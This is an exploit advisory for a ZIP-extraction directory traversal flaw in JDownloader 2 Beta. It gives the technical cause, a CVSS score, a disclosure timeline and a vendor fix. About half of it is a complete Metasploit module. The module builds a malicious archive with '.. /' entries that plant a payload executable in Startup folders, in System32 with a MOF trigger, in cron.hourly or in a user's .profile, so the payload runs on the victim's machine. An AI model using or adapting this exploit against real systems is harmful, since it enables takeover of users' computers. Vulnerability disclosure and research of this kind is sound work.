=begin
# Exploit Title: JDownloader 2 Beta Directory Traversal Vulnerability (Zip Extraction)
# Date: 2015-06-02
# Exploit Author: PizzaHatHacker
# Vendor Homepage: http://jdownloader.org/home/index
# Software Link: http://jdownloader.org/download/offline
# Version: 1171 <= SVN Revision <= 2331
# Contact: PizzaHatHacker[a]gmail[.]com
# Tested on: Windows XP SP3 / Windows 7 SP1
# CVE:
# Category: remote
1. Product Description
Extract from the official website :
"JDownloader is a free, open-source download management tool with a huge community of developers that makes downloading as easy and fast as it should be. Users can start, stop or pause downloads, set bandwith limitations, auto-extract archives and much more. It's an easy-to-extend framework that can save hours of your valuable time every day!"
2. Vulnerability Description & Technical Details
JDownloader 2 Beta is vulnerable to a directory traversal security issue.
Class : org.appwork.utils.os.CrossSystem
Method : public static String alleviatePathParts(String pathPart)
This method is called with a user-provided path part as parameter,
and should return a valid and safe path where to create a file/folder.
This method first checks that the input filepath does not limit
itself to a (potentially dangerous) sequence of dots and otherwise
removes it :
pathPart = pathPart.replaceFirst("\\.+$", "");
However right after this, the value returned is cleaned from
starting and ending white space characters :
return pathPart.trim();
Therefore, if you pass to this method a list of dots followed by some white space
like ".. ", it will bypass the first check and then return the valid path ".."
which is insecure.
This leads to a vulnerability when JDownloader 2 Beta just downloaded a ZIP file and
then tries to extract it. A ZIP file with an entry containing ".. " sequence(s)
would cause JD2b to overwrite/create arbitrary files on the target filesystem.
3. Impact Analysis :
To exploit this issue, the victim is required to launch a standard ZIP file download.
The Unzip plugin is enabled by default in JDownloader : any ZIP file downloaded will
automatically be extracted.
By exploiting this issue, a malicious user may be able to create/overwrite arbitrary
files on the target file system.
Therefore, it is possible to take the control of the victim's machine with the rights of
the JDownloader process - typically standard (non-administrator) rights - for example by
overwriting existing executable files, by uploading an executable file in a user's
autorun directory etc.
4. Common Vulnerability Scoring System
* Exploitability Metrics
- Access Vector (AV) : Network (AV:N)
- Access Complexity (AC) : Medium (AC:M)
- Authentication (Au) : None (Au:N)
* Impact Metrics
- Confidentiality Impact (C) : Partial (C:P)
- Integrity Impact (I) : Partial (I:P)
- Availability Impact (A) : Partial (A:P)
* CVSS v2 Vector (AV:N/AC:M/Au:N/C:P/I:P/A:P)
- CVSS Base Score : 6.8
- Impact Subscore 6.4
- Exploitability Subscore 8.6
5. Proof of Concept
- Create a ZIP file with an entry like ".. /poc.txt"
- Upload it to an HTTP server (for example)
- Run a vulnerable revision of JDownloader 2 Beta and use it to download the file from the server
- JD2b will download and extract the file, which will create a "poc.txt" one level upper from your download directory
OR see the Metasploit Exploit provided.
6. Vulnerability Timeline
2012-04-27 : Vulnerability created (SVN Revision > 1170)
2014-08-19 : Vulnerability identified
[...] : Sorry, I was not sure how to handle this and forgot about it for a long time
2015-05-08 : Vendor informed about this issue
2015-05-08 : Vendor response + Code modification (Revision 2332)
2015-05-11 : Code modification (SVN Revision 2333)
2015-05-11 : Notified the vendor : The vulnerable code is still exploitable via ".. .." (dot dot blank dot dot)
2015-05-12 : Code modification (SVN Revision 2335)
2015-05-12 : Confirmed to the vendor that the code looks now safe
2015-06-01 : JDownloader 2 Beta Update : Looks not vulnerable anymore
2015-06-04 : Disclosure of this document
7. Solution
Update JDownloader 2 Beta to the latest version.
8. Personal Notes
I am NOT a security professional, just a kiddy fan of security.
I was boring so I looked for some security flaws in some software and happily found this.
If you have any questions/remarks, don't hesitate to contact me by email.
I'm interesting in any discussion/advice/exchange/question/criticism about security/exploits/programming :-)
=end
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
def initialize( info = {} )
super( update_info( info,
'Name' => 'JDownloader 2 Beta Directory Traversal Vulnerability',
'Description' => %q{
This module exploits a directory traversal flaw in JDownloader 2 Beta
when extracting a ZIP file (which by default is automatically done by JDL).
The following targets are available :
Windows regular user : Create executable file in the 'Start Menu\Startup'
under the user profile directory. (Executed at next session startup).
Linux regular user : Create an executable file and a .profile script calling
it in the user's home directory. (Executed at next session login).
Windows Administrator : Create an executable file in C:\\Windows\\System32
and a .mof file calling it. (Executed instantly).
Linux Administrator : Create an executable file in /etc/crontab.hourly/.
(Executed within the next hour).
Vulnerability date : Apr 27 2012 (SVN Revision > 1170)
},
'License' => MSF_LICENSE,
'Author' => [ 'PizzaHatHacker <PizzaHatHacker[A]gmail[.]com>' ], # Vulnerability Discovery & Metasploit module
'References' =>
[
[ 'URL', 'http://jdownloader.org/download/offline' ],
],
'Platform' => %w{ linux osx solaris win },
'Payload' => {
'Space' => 20480, # Arbitrary big number
'BadChars' => '',
'DisableNops' => true
},
'Targets' =>
[
[ 'Windows Regular User (Start Menu Startup)',
{
'Platform' => 'win',
'Depth' => 0, # Go up to root (C:\Users\Joe\Downloads\..\..\..\ -> C:\)
'RelativePath' => 'Users/All Users/Microsoft/Windows/Start Menu/Programs/Startup/',
'Option' => nil,
}
],
[ 'Linux Regular User (.profile)',
{
'Platform' => 'linux',
'Depth' => -2, # Go up 2 levels (/home/joe/Downloads/XXX/xxx.zip -> /home/joe/)
'RelativePath' => '',
'Option' => 'profile',
}
],
[ 'Windows Administrator User (Wbem Exec)',
{
'Platform' => 'win',
'Depth' => 0, # Go up to root (n levels)
'RelativePath' => 'Windows/System32/',
'Option' => 'mof',
}
],
[ 'Linux Administrator User (crontab)',
{
'Platform' => 'linux',
'Depth' => 0, # Go up to root (n levels)
'RelativePath' => 'etc/cron.hourly/',
'Option' => nil,
}
],
],
'DefaultTarget' => nil,
'DisclosureDate' => ''
))
register_options(
[
OptString.new('FILENAME', [ true, 'The output file name.', '']),
# C:\Users\Bob\Downloads\XXX\xxx.zip => 4
# /home/Bob/Downloads/XXX/xxx.zip => 4
OptInt.new('DEPTH', [true, 'JDownloader download directory depth. (0 = filesystem root, 1 = one subfolder under root etc.)', 4]),
], self.class)
register_advanced_options(
[
OptString.new('INCLUDEDIR', [ false, 'Path to an optional directory to include into the archive.', '']),
], self.class)
end
# Traversal path
def traversal(depth)
result = '.. /'
if depth < 0
# Go up n levels
result = result * -depth
else
# Go up until n-th level
result = result * (datastore['DEPTH'] - depth)
end
return result
end
def exploit
# Create a new archive
zip = Rex::Zip::Archive.new
# Optionally include an initial directory
dir = datastore['INCLUDEDIR']
if not dir.nil? and not dir.empty?
print_status("Filling archive recursively from path #{dir}")
zip.add_r(dir)
end
# Create the payload executable file path
exe_name = rand_text_alpha(rand(6) + 1) + (target['Platform'] == 'win' ? '.exe' : '')
exe_file = traversal(target['Depth']) + target['RelativePath'] + exe_name
# Generate the payload executable file content
exe_content = generate_payload_exe()
# Add the payload executable file into the archive
zip_add_file(zip, exe_file, exe_content)
# Check all available targets
case target['Option']
when 'mof'
# Create MOF file data
mof_name = rand_text_alpha(rand(6) + 1) + '.mof'
mof_file = traversal(0) + 'Windows\\System32\\Wbem\\Mof\\' + mof_name
mof_content = generate_mof(mof_name, exe_name)
zip_add_file(zip, mof_file, mof_content)
when 'profile'
# Create .profile file
bashrc_name = '.profile'
bashrc_file = traversal(target['Depth']) + bashrc_name
bashrc_content = "chmod a+x ./#{exe_name}\n./#{exe_name}"
zip_add_file(zip, bashrc_file, bashrc_content)
end
# Write the final ZIP archive to a file
zip_data = zip.pack
file_create(zip_data)
end
# Add a file to the target zip and output a notification
def zip_add_file(zip, filename, content)
print_status("Adding '#{filename}' (#{content.length} bytes)");
zip.add_file(filename, content, nil, nil, nil)
end
end